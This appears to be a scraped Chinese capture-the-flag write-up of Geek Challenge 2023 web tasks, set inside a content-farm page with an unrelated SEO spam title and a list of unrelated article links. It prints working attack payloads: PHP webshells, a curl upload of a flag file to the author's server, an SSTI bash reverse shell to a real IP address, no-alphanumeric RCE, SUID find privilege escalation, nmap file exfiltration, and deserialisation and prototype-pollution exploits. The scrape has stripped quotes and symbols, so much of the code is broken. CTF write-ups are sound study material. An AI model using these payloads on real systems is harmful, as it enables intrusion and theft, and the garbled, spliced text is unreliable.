当前位置: 首页 > news >正文

护肤品网站建设方案南阳建网站企业

护肤品网站建设方案,南阳建网站企业,网页设计与制作模板免费,太原网站建设乛薇EzHttp http协议基础题 unsign 简单反序列化题 n00b_Upload 很简单的文件上传#xff0c;上传1.php#xff0c;抓包#xff0c;发现php内容被过滤了#xff0c;改为? eval($_POST[‘a’]);?#xff0c;上传成功#xff0c;命令执行读取就好了 easy_php …EzHttp http协议基础题 unsign 简单反序列化题 n00b_Upload 很简单的文件上传上传1.php抓包发现php内容被过滤了改为? eval($_POST[‘a’]);?上传成功命令执行读取就好了 easy_php payload: GET:?sycWelcome to GEEK 2023!%0alover2e5 POST:qw[]1yxx[]2SYC[GEEK.2023Happy to see you! ctf_curl 源码 ?php highlight_file(index.php); // curl your domain // flag is in /tmp/Sycloverif (isset($_GET[addr])) {$address $_GET[addr];if(!preg_match(/;|f|:|\||\|!||||\(|{|\?|\n|\r/i, $address)){$result system(curl .$address. /dev/null);} else {echo Hacker!!!;} } ? 最重要的就是下面这句话 result system(curl .$address. /dev/null); 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具可以说是一款很强大的http命令行工具。它支持文件的上传和下载是综合传输工具但按传统习惯称url为下载工具。 -T/--upload-file file  // 上传文件 payload ?addr-T /tmp/Syclover 120.xx.xx.141 云服务器nc -lvnp 80 上面的ip换成公网ip 然后监听就行 ez_remove 这道题当时没写wp 就记得大概主要的思路 大写S可以进行16进制绕过lover 然后直接给payload  ?weba:2:{i:0;O:3:syc:1:{S:5:\6cover;s:16:eval($_POST[1]);;}i:0;N;} 然后连接蚁剑https-http进行find查找提权发现简单的chmod提权 Pupyy_rce 无参数rce ?varshow_source(array_rand(array_flip(scandir(getcwd())))); 参考https://zhuanlan.zhihu.com/p/157431794  klf_ssti   目录扫描扫到一个robots.txt 打开存在hack路径查看源码存在klf 传参,结合题目 就是ssti注入了然后使用tplmap工具发现是盲注我们这里直接用脚本找popen import requests urlhttp://htakb3g19j9kg6bt5s3mf5yru.node.game.sycsec.com/hack for i in range(600):try:data{klf:{{.__class__.__base__.__subclasses__()[str(i)].__init__.__globals__[popen]}}}resposerequests.get(url,paramsdata)if respose.status_code200:print(i)# print(respose.content)except:pass 经过尝试发现117里有popen所以构造反弹shell的payload: ?klf{{.__class__.__base__.__subclasses__()[117].__init__.__globals__[popen](bash -c bash -i /dev/tcp/120.xx.xx.141/80 01).read()}} 这里ip换成你的公网ip就行 然后url进行编码绕过 %7B%7B%22%22.__class__.__base__.__subclasses__()%5B117%5D.__init__.__globals__%5B%22popen%22%5D(%22bash%20-c%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.91.141%2F80%200%3E%261%22).read()%7D%7D 然后nc -lvvp 80 就可以监听获得flag  flag保卫战【】 ez_path 题目里面给了个pyc文件 先进行一下反编译 编译在线网站:pyc反编译 - 工具匠 然后得到py文件 源码如下 # uncompyle6 version 3.8.0 # Python bytecode 3.6 (3379) # Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23) # [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)] # Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py # Compiled at: 2023-08-26 01:33:29 # Size of source mod 2**32: 2076 bytes import os, uuid from flask import Flask, render_template, request, redirect app Flask(__name__) ARTICLES_FOLDER articles/ articles []class Article:def __init__(self, article_id, title, content):self.article_id article_idself.title titleself.content contentdef generate_article_id():return str(uuid.uuid4())app.route(/) def index():return render_template(index.html, articlesarticles)app.route(/upload, methods[GET, POST]) def upload():if request.method POST:title request.form[title]content request.form[content]article_id generate_article_id()article Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect(/)else:return render_template(upload.html)app.route(/article/article_id) def article(article_id):for article in articles:if article.article_id article_id:title article.titlesanitized_title sanitize_filename(title)article_path os.path.join(ARTICLES_FOLDER, sanitized_title)with open(article_path, r) as (file):content file.read()return render_template(articles.html, titlesanitized_title, contentcontent, article_patharticle_path)return render_template(error.html)def save_article(article_id, title, content):sanitized_title sanitize_filename(title)article_path ARTICLES_FOLDER / sanitized_titlewith open(article_path, w) as (file):file.write(content)def sanitize_filename(filename):sensitive_chars [:, *, ?, , , , |, .]for char in sensitive_chars:filename filename.replace(char, _)return filenameif __name__ __main__:app.run(debugTrue) # okay decompiling /tmp/656424dc12db8.pyc关键代码如下 app.route(/upload, methods[GET, POST]) def upload():if request.method POST:title request.form[title]content request.form[content]article_id generate_article_id()article Article(article_id, title, content)articles.append(article)save_article(article_id, title, content)return redirect(/)else:return render_template(upload.html)如下  我们直接可以任意读取文件 然后根据源码这个 我们直接读就行了 就可以获得flag you konw flask? 这里扫到一个robots.txt 然后发现/3ysd8.html路径访问源码得到session key 那结合这道题目 那就是flask 的session伪造了 根据代码我们可以用脚本形成一个字典 import base64hex_dict []for byte1 in range(1, 101):s wanbao base64.b64encode(str(byte1).encode(utf-8)).decode(utf-8) wanbaohex_representation f{s}hex_dict.append(hex_representation)with open(session_key.txt, w) as file:for item in hex_dict:file.write(f{item}\n) 注册一个用户获得初始session eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ3ZW5kYTk5OSIsInVzZXJfaWQiOjN9.ZWQdDQ.8wuMdBgEZdZkgL99ohiElMmyvi8 然后开始爆破 flask-unsign --unsign --wordlist session_key.txt --cookie session.txt session.txt保存要解密的session (就是上面注册的) 然后去用flask_session_cookie_manager去加密 python flask_session_cookie_manager3.py encode -s wanbaoNTYwanbao -t {is_admin: True, name: tset9, user_id: 4} 得到 eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3Q5IiwidXNlcl9pZCI6NH0.ZWQiSw.V4HCVirTTFWgDyENt-Qtd0pRcmA用新的session进行登入  点击学员管理获得flag 雨【】 famale_imp_l0ve 查看源码发现 /include.php路由 访问得到如下源码 ?php //o2takuXX师傅说有问题忘看了。 header(Content-Type: text/html; charsetutf-8); highlight_file(__FILE__); $file $_GET[file]; if(isset($file) strtolower(substr($file, -4)) .jpg){include($file); } ? 最重关键的是 if(isset($file) strtolower(substr($file, -4)) .jpg){include($file); 以上两串代码是对文件后缀进行验证或修改然后再进行包含。对于此类情况如果要包含非预定文件后缀的文件可以通过%00截断进行绕过。但是%00截断在php版本5.3.4之后就失效了而且还要考虑GPC限制比较严重。除此之外可以通过zip协议和phar协议来包含文件突破附加后缀限制。  具体访问  PHP一些常见的漏洞梳理-腾讯云开发者社区-腾讯云 (tencent.com) 然后大概思路就是写入一句话木马保存为1.jpg文件 然后压缩为zip文件上传然后在/include.php路由下进行phar协议读取 就可以得到flag change_it【】 ezrfi【】 EzRce 学习一下jay师傅的解题思路方法 题目源码 ?php include(waf.php); session_start(); show_source(__FILE__); error_reporting(0); $data$_GET[data]; if(waf($data)){eval($data); }else{echo no!; } ? 这里关键是获取waf.php文件看看怎么过滤的经过测试就发现这里只能使用无字母数字rce 具体访问 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html 我们直接试一下phpinfo(); ?data(%0f%08%0f%09%0e%06%0f^%7f%60%7f%60%60%60%60)();禁用了很多代码函数我们可以读取waf文件highlight_file(waf.php) ?data(%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05^%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60)(%08%01%06%01%0f%08%0f^%7f%60%60%2f%7f%60%7f);可用的单个字符就a、e、l、v。 那就构造异或直接eval($_POST[1]) ?php $___.(%0D^]).(%2F^).(%0E^]).(%09^]); // $___POST; $___$$__; eval($___[_]); // eval($_POST[_]);paylaod: ?data$___.(%0D^]).(%2F^).(%0E^]).(%09^]);$___$$__;eval($___[_]);执行成功但是命令被禁止 我们可以直接 写到文件 GET:?data$___.(%0D^]).(%2F^).(%0E^]).(%09^]);$___$$__;eval($___[_]); POST:_file_put_contents(17.php,?eval($_POST[1]);?);然后蚁剑连接后发现读取不了flag 那就需要提权 find提权 find / -perm -us -type f 2/dev/null //查看具有suid权限的命令 find / -perm -4000 2/dev/null //这个也可以具体访问find提权;https://blog.csdn.net/qq_40898302/article/details/124316982  然后发现find可以提权  find /tmp -exec cat /flag \; find which find -exec cat /flag \; find /etc/passwd -exec cat /flag \;获得falg ezpython 附件源码 import json import osfrom waf import waf import importlib from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp Flask(__name__) app.secret_keyjjjjggggggreekchallenge202333333 class User():def __init__(self):self.usernameself.passwordself.isvipFalseclass hhh(User):def __init__(self):self.usernameself.passwordregistered_users[] app.route(/) def hello_world(): # put applications code herereturn render_template(welcome.html)app.route(/play) def play():usernamesession.get(username)if username:return render_template(index.html,nameusername)else:return redirect(url_for(login))app.route(/login,methods[GET,POST]) def login():if request.method POST:usernamerequest.form.get(username)passwordrequest.form.get(password)user next((user for user in registered_users if user.username username and user.password password), None)if user:session[username] user.usernamesession[password]user.passwordreturn redirect(url_for(play))else:return Invalid loginreturn redirect(url_for(play))return render_template(login.html)app.route(/register,methods[GET,POST]) def register():if request.method POST:try:if waf(request.data):return fuck payload!Hacker!!!datajson.loads(request.data)if username not in data or password not in data:return 连用户名密码都没有你注册啥呢userhhh()merge(data,user)registered_users.append(user)except Exception as e:return 泰酷辣,没有注册成功捏return redirect(url_for(login))else:return render_template(register.html)app.route(/flag,methods[GET]) def flag():user next((user for user in registered_users if user.username session[username] and user.password session[password]), None)if user:if user.isvip:datarequest.args.get(num)if data:if 0 not in data and data ! 123456789 and int(data) 123456789 and len(data) 10:flag os.environ.get(geek_flag)return render_template(flag.html,flagflag)else:return 你的数字不对哦!else:return I need a num!!!else:return render_template_string(这种神功你不充VIP也想学?pimg src{{url_for(\static\,filename\weixin.png\)}}要不v我50,我送你一个VIP吧,嘻嘻/p)else:return 先登录去def merge(src, dst):for k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ __main__:app.run(host0.0.0.0,port8888) 重点先看下注册路由 /register app.route(/register,methods[GET,POST]) def register():if request.method POST:try:if waf(request.data):return fuck payload!Hacker!!!datajson.loads(request.data)if username not in data or password not in data:return 连用户名密码都没有你注册啥呢userhhh()merge(data,user)registered_users.append(user)except Exception as e:return 泰酷辣,没有注册成功捏return redirect(url_for(login))else:return render_template(register.html)我们关注到这个merge()函数 相信大家也不陌生 js原型链污染里面经常看到这个函数  然后我们查看注册 的前端源代码: 发现注册格式是以 json保存 那就很可能用到原型链污染 那我们应该怎么污染呢 接下来看flag路由 app.route(/flag,methods[GET]) def flag():user next((user for user in registered_users if user.username session[username] and user.password session[password]), None)if user:if user.isvip:datarequest.args.get(num)if data:if 0 not in data and data ! 123456789 and int(data) 123456789 and len(data) 10:flag os.environ.get(geek_flag)return render_template(flag.html,flagflag)else:return 你的数字不对哦!else:return I need a num!!!else:return render_template_string(这种神功你不充VIP也想学?pimg src{{url_for(\static\,filename\weixin.png\)}}要不v我50,我送你一个VIP吧,嘻嘻/p)else:return 先登录去 我们要想获得geek_flag 就必须符合下面这个条件 if 0 not in data and data ! 123456789 and int(data) 123456789 and len(data) 10: 这个好说 用号就饿可以绕过 然后在上一层 num传参 在上一层 如下; 我们发现只有 user.isvip为真才可进入下面的语句 那这不就是我们进行污染的地方吗 paylaod:       {username:wenda,password:123,__class__ : {__base__ : {\u0069\u0073\u0076\u0069\u0070:true}}} 然后登入之后访问flag路由进行传参 flag?num123456789 得到flag ez_php【】 scan_tool 参考jay师傅 这道题有点像BUUCTF [网鼎杯 2020 朱雀组] Nmap https://blog.csdn.net/weixin_44037296/article/details/110893526 直接过滤了无法写只能带出文件了。同时还过滤了-iL、-oN等参数。 这题应该也用了PHP中的escapeshellarg()函数在asisctf-2023 hello中遇到过会剔除不可见字符。这个特性可以用来绕过对-iL、-oN等参数的过滤。 https://paper.seebug.org/164/ Nmap的相关参数选项 利用-iL参数将文件外带利用-oG参数将结果写入当前目录的文件 paylaod: ip -i%faL /flag -o%faN 2.txt 利用成功 然后访问2.txt就行 klf_2【】 ez_sql【】 EZ_Smuggling【】 klf_3【】 Akane! 经典的PHP反序列化题  源码 ?php error_reporting(0); show_source(__FILE__); class Hoshino {public $Ruby;private $Aquamarine;public function __destruct(){$this-Ruby-func();} }class Idol {public $Akane;public function __wakeup(){$this-Akane /var/www/html/The************************.php;}public function __call($method,$args){$Kana count(scandir($this-Akane));if ($Kana 0) {die(Kurokawa Akane);} else {die(Arima Kana);}} }$a unserialize(base64_decode($_GET[tuizi]));? 链的构造很简单 主要是下面两点 1. Idol里面的wakeup魔术方法绕过  2. $Kana  count(scandir($this-Akane)); 的用法 下面参考一篇文章 https://www.jianshu.com/p/16c56bebc63d 因为文件名称不知道所以我们可以使用glob协议爆破文件名然后scandir函数的返回值是一个数组利用数组的长度判断字符是否正确 POP代码 ?php class Hoshino {public $Ruby;public $Aquamarine; }class Idol {public $Akane;}$a new Hoshino(); $a-Rubynew Idol(); $a-Ruby-Akaneglob:///var/www/html/; $a2serialize($a); $bstr_replace(:2:,:3:,$a2); echo($b).\n; echo base64_encode($b);//O:7:Hoshino:3:{s:4:Ruby;O:4:Idol:1:{s:5:Akane;s:21:glob:///var/www/html/;}s:10:Aquamarine;N;} //Tzo3OiJIb3NoaW5vIjozOntzOjQ6IlJ1YnkiO086NDoiSWRvbCI6MTp7czo1OiJBa2FuZSI7czoyMToiZ2xvYjovLy92YXIvd3d3L2h0bWwvIjt9czoxMDoiQXF1YW1hcmluZSI7Tjt9 然后得到的payload用python写脚本进行爆破文件名 import requests import string import base64s abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789.filename The url http://zzekk475cbtnv12wj8smbybe4.node.game.sycsec.com/ for num in range(1, 50):for i in s:print(num)print(i)payload O:7:Hoshino:3:{s:4:Ruby;O:4:Idol:1:{s:5:Akane;s: str(25 num) :glob:///var/www/html/ filename i *;}s:10:Aquamarine;N;}print(payload)parm ?tuizi base64.b64encode(payload.encode(utf-8)).decode(utf-8)print(parm)r requests.get(urlurl parm)if Kurokawa Akane in r.text:filename iprint(num, filename)break得到TheS4crEtF1AgFi1EByo2takuXX.php 文件 ,访问就得flag  java【】 后面继续复现
http://www.dnsts.com.cn/news/66387.html

相关文章:

  • 企业网站建设推广实训报告h5开发工具哪个好
  • 学校集约网站建设wordpress面向对象
  • 网站运营专员月薪多少网站制作视频教程新手必看
  • 网站建设如何投放广告公司的网站怎么做推广
  • 北京网站建设公司服务有哪些缪斯设计
  • 塘沽网站开发您的php似乎没有安装运行wordpress所必需的mysql扩展
  • 网站排名影响因素长春平原网站建设
  • 网站建设公司会议网站wordpress 页面显示最新文章
  • 苏州专业做网站较好的公司南宁网站建设公司哪个好
  • 中国做跨境电商出口的网站上海单位建设报建网站
  • 联科网站建设天眼通查公司查询入口
  • 深圳物流公司电话号码网站文章在哪发布做seo
  • 软件下载网站哪个比较好广告设计与制作学啥
  • 深圳网站建设制作开发企业网络推广运营技巧
  • 惠州有做网站的吗自己怎么做卡盟网站
  • 什么网站可以找人做设计一个做网页的网站
  • 网站文字规范平面设计主要做的是什么
  • 池州网站建设哪家好网站访问量怎么赚钱
  • 本地搭建多个网站湖南网站建设seo优化
  • 做网站个人九讯鹿网站建设
  • cdn网站网络加速器网站怎么做3d商品浏览
  • 网站横条广告中国建设银行官网招聘信息
  • 网站建设大致价格2017宁波公司网站开发
  • 益阳学校网站建设免费ppt模板下载软件有哪些
  • 建设网站的个人心得外贸推广的网站
  • 黑龙省建设厅网站首页单位建设网站申请信用卡
  • 微信小程序可以做电影网站吗淘客网站怎么做百度
  • 建设网站公司 昆山无锡网站制作
  • 北京网站建设seo网站建设及托管合同模板
  • 网站内容告知书广州网站建设公司品牌